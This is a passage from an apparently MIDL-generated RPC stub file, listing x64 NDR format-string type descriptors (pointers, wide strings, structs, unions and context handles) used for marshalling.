*/\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1038 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1040 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1042 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1044 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xfd0f ),\t/* Offset= -753 (292) */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1048 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1050 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1052 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1054 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1056 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1058 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1060 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1062 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1064 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1066 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1068 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1070 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1072 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1074 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1076 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1078 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1080 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1082 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1084 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1086 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1088 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1090 */\tNdrFcShort( 0xfd4a ),\t/* Offset= -694 (396) */\n/* 1092 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1094 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1096 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1098 */\tNdrFcShort( 0xfdae ),\t/* Offset= -594 (504) */\n/* 1100 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1102 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1104 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1106 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1106) */\n/* 1108 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1110 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1112 */\tNdrFcShort( 0xfeca ),\t/* Offset= -310 (802) */\n/* 1114 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1116 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1118 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1120) */\n/* 1120 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1122 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1124 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1126 */\tNdrFcShort( 0x20 ),\t/* X64 Stack size/offset = 32 */\n/* 1128 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1130 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1132 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1136 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1140 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1142 */\t\n\t\t\t0x11, 0xc,\t/* FC_RP [alloced_on_stack] [simple_pointer] */\n/* 1144 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1146 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1148 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1150) */\n/* 1150 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1152 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1154 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1156 */\tNdrFcShort( 0x28 ),\t/* X64 Stack size/offset = 40 */\n/* 1158 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1160 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1162 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1166 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1170 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1172 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1174 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1176) */\n/* 1176 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1178 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1180 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1182 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1184 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1186 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1188 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1192 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1196 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1198 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1200 */\tNdrFcShort( 0x3e ),\t/* Offset= 62 (1262) */\n/* 1202 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1204 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1206 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1208 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1210 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1212 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1216 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1220 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1222) */\n/* 1222 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1224 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1226 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1230 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1234) */\n/* 1232 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1231) */\n/* 1234 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1236 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1238) */\n/* 1238 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1240 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1242 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1244 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1250) */\n/* 1246 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1248 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1250 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1252 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1254 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1256 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1258 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1260 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1262 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1264 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1266 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1268 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1268) */\n/* 1270 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1272 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1274 */\tNdrFcShort( 0xffb8 ),\t/* Offset= -72 (1202) */\n/* 1276 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1278 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1280 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1282) */\n/* 1282 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1284 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1286 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1288 */\tNdrFcShort( 0x10 ),\t/* X64 Stack size/offset = 16 */\n/* 1290 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1292 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1294 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1298 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1302 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1304 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1306 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1308 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1310 */\tNdrFcShort( 0xff42 ),\t/* Offset= -190 (1120) */\n/* 1312 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1314 */\tNdrFcShort( 0xff5c ),\t/* Offset= -164 (1150) */\n/* 1316 */\t\n\t\t\t0x11, 0x4,\t/* FC_RP [alloced_on_stack] */\n/* 1318 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1320) */\n/* 1320 */\t0x30,\t\t/* FC_BIND_CONTEXT */\n\t\t\t0xe1,\t\t/* Ctxt flags:  via ptr, in, out, can't be null */\n/* 1322 */\t0x0,\t\t/* 0 */\n\t\t\t0x0,\t\t/* 0 */\n/* 1324 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1326 */\tNdrFcShort( 0x88 ),\t/* Offset= 136 (1462) */\n/* 1328 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1330 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1332 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1334 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1336 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1338 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1342 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1346 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1348) */\n/* 1348 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1350 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1352 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1356 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1366) */\n/* 1358 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1362 */\tNdrFcShort( 0x32 ),\t/* Offset= 50 (1412) */\n/* 1364 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1363) */\n/* 1366 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1368 */\tNdrFcShort( 0x14 ),\t/* Offset= 20 (1388) */\n/* 1370 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1372 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1374 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1376 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1378 */\t\n\t\t\t0x15,\t\t/* FC_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1380 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1382 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1384 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1386 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1388 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1390 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1392 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1394 */\tNdrFcShort( 0xe ),\t/* Offset= 14 (1408) */\n/* 1396 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1398 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1400 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe1 ),\t/* Offset= -31 (1370) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1404 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe5 ),\t/* Offset= -27 (1378) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1408 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1410 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1412 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1414 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1416) */\n/* 1416 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1418 */\tNdrFcShort( 0x58 ),\t/* 88 */\n/* 1420 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1422 */\tNdrFcShort( 0x18 ),\t/* Offset= 24 (1446) */\n/* 1424 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1426 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1428 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffc5 ),\t/* Offset= -59 (1370) */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1432 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffc9 ),\t/* Offset= -55 (1378) */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1436 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1438 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1440 */\t0x40,\t\t/* FC_STRUCTPAD4 */\n\t\t\t0x36,\t\t/* FC_POINTER */\n/* 1442 */\t0x6,\t\t/* FC_SHORT */\n\t\t\t0x42,\t\t/* FC_STRUCTPAD6 */\n/* 1444 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1446 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1448 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1450 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1452 */\t\n\t\t\t0x22,\t\t/* FC_C_CSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1454 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1456 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1458 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1460 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1462 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1464 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1466 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1468 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1468) */\n/* 1470 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1472 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1474 */\tNdrFcShort( 0xff6e ),\t/* Offset= -146 (1328) */\n/* 1476 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1478 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1480 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1482) */\n/* 1482 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x1,\t\t/* 1 */\n/* 1484 */\tNdrFcShort( 0x2 ),\t/* 2 */\n/* 1486 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x55,\t\t/* FC_DIV_2 */\n/* 1488 */\tNdrFcShort( 0x18 ),\t/* X64 Stack size/offset = 24 */\n/* 1490 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1492 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1494 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1498 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1502 */\t0x5,\t\t/* FC_WCHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1504 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1506 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1508) */\n/* 1508 */\t\n\t\t\t0x1b,\t\t/* FC_CARRAY */\n\t\t\t0x0,\t\t/* 0 */\n/* 1510 */\tNdrFcShort( 0x1 ),\t/* 1 */\n/* 1512 */\t0x29,\t\t/* Corr desc:  parameter, FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1514 */\tNdrFcShort( 0x38 ),\t/* X64 Stack size/offset = 56 */\n/* 1516 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1518 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1520 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1524 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1528 */\t0x2,\t\t/* FC_CHAR */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1530 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1532 */\tNdrFcShort( 0xfe9c ),\t/* Offset= -356 (1176) */\n/* 1534 */\t\n\t\t\t0x11, 0x8,\t/* FC_RP [simple_pointer] */\n/* 1536 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1538 */\t\n\t\t\t0x11, 0x0,\t/* FC_RP */\n/* 1540 */\tNdrFcShort( 0xaa ),\t/* Offset= 170 (1710) */\n/* 1542 */\t\n\t\t\t0x2b,\t\t/* FC_NON_ENCAPSULATED_UNION */\n\t\t\t0x9,\t\t/* FC_ULONG */\n/* 1544 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1546 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1548 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1550 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1552 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1556 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1560 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1562) */\n/* 1562 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1564 */\tNdrFcShort( 0x8 ),\t/* 8 */\n/* 1566 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1570 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 1572 */\tNdrFcLong( 0x3 ),\t/* 3 */\n/* 1576 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 1578 */\tNdrFcLong( 0x1 ),\t/* 1 */\n/* 1582 */\tNdrFcShort( 0x8008 ),\t/* Simple arm type: FC_LONG */\n/* 1584 */\tNdrFcLong( 0x4 ),\t/* 4 */\n/* 1588 */\tNdrFcShort( 0xf9ce ),\t/* Offset= -1586 (2) */\n/* 1590 */\tNdrFcLong( 0x5 ),\t/* 5 */\n/* 1594 */\tNdrFcShort( 0xf9c8 ),\t/* Offset= -1592 (2) */\n/* 1596 */\tNdrFcLong( 0x6 ),\t/* 6 */\n/* 1600 */\tNdrFcShort( 0xf9c2 ),\t/* Offset= -1598 (2) */\n/* 1602 */\tNdrFcLong( 0x2 ),\t/* 2 */\n/* 1606 */\tNdrFcShort( 0x800a ),\t/* Simple arm type: FC_FLOAT */\n/* 1608 */\tNdrFcLong( 0x7 ),\t/* 7 */\n/* 1612 */\tNdrFcShort( 0x4 ),\t/* Offset= 4 (1616) */\n/* 1614 */\tNdrFcShort( 0xffff ),\t/* Offset= -1 (1613) */\n/* 1616 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1618 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1620 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1622 */\tNdrFcShort( 0x6 ),\t/* Offset= 6 (1628) */\n/* 1624 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1626 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1628 */\t\n\t\t\t0x12, 0x20,\t/* FC_UP [maybenull_sizeis] */\n/* 1630 */\tNdrFcShort( 0xf9b4 ),\t/* Offset= -1612 (18) */\n/* 1632 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1634 */\tNdrFcShort( 0x18 ),\t/* 24 */\n/* 1636 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1638 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1638) */\n/* 1640 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1642 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1644 */\tNdrFcShort( 0xff9a ),\t/* Offset= -102 (1542) */\n/* 1646 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1648 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1650 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1652 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1654 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1664) */\n/* 1656 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1658 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1660 */\t0x0,\t\t/* 0 */\n\t\t\tNdrFcShort( 0xffe3 ),\t/* Offset= -29 (1632) */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1664 */\t\n\t\t\t0x12, 0x8,\t/* FC_UP [simple_pointer] */\n/* 1666 */\t\n\t\t\t0x25,\t\t/* FC_C_WSTRING */\n\t\t\t0x5c,\t\t/* FC_PAD */\n/* 1668 */\t\n\t\t\t0x21,\t\t/* FC_BOGUS_ARRAY */\n\t\t\t0x3,\t\t/* 3 */\n/* 1670 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1672 */\t0x9,\t\t/* Corr desc: FC_ULONG */\n\t\t\t0x0,\t\t/*  */\n/* 1674 */\tNdrFcShort( 0xfff8 ),\t/* -8 */\n/* 1676 */\tNdrFcShort( 0x1 ),\t/* Corr flags:  early, */\n/* 1678 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1680 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1684 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1688 */\tNdrFcLong( 0xffffffff ),\t/* -1 */\n/* 1692 */\tNdrFcShort( 0x0 ),\t/* Corr flags:  */\n/* 1694 */\t0x0 , \n\t\t\t0x0,\t\t/* 0 */\n/* 1696 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1700 */\tNdrFcLong( 0x0 ),\t/* 0 */\n/* 1704 */\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n\t\t\t0x0,\t\t/* 0 */\n/* 1706 */\tNdrFcShort( 0xffc6 ),\t/* Offset= -58 (1648) */\n/* 1708 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1710 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1712 */\tNdrFcShort( 0x10 ),\t/* 16 */\n/* 1714 */\tNdrFcShort( 0xffd2 ),\t/* Offset= -46 (1668) */\n/* 1716 */\tNdrFcShort( 0x0 ),\t/* Offset= 0 (1716) */\n/* 1718 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1720 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x40,\t\t/* FC_STRUCTPAD4 */\n/* 1722 */\t0x5c,\t\t/* FC_PAD */\n\t\t\t0x5b,\t\t/* FC_END */\n/* 1724 */\t\n\t\t\t0x11, 0x14,\t/* FC_RP [alloced_on_stack] [pointer_deref] */\n/* 1726 */\tNdrFcShort( 0x2 ),\t/* Offset= 2 (1728) */\n/* 1728 */\t\n\t\t\t0x12, 0x0,\t/* FC_UP */\n/* 1730 */\tNdrFcShort( 0x40 ),\t/* Offset= 64 (1794) */\n/* 1732 */\t\n\t\t\t0x1a,\t\t/* FC_BOGUS_STRUCT */\n\t\t\t0x3,\t\t/* 3 */\n/* 1734 */\tNdrFcShort( 0x28 ),\t/* 40 */\n/* 1736 */\tNdrFcShort( 0x0 ),\t/* 0 */\n/* 1738 */\tNdrFcShort( 0xa ),\t/* Offset= 10 (1748) */\n/* 1740 */\t0x8,\t\t/* FC_LONG */\n\t\t\t0x8,\t\t/* FC_LONG */\n/* 1742 */\t0x36,\t\t/* FC_POINTER */\n\t\t\t0x4c,\t\t/* FC_EMBEDDED_COMPLEX */\n/* 1744 */\t0x0,\t\t/* 0 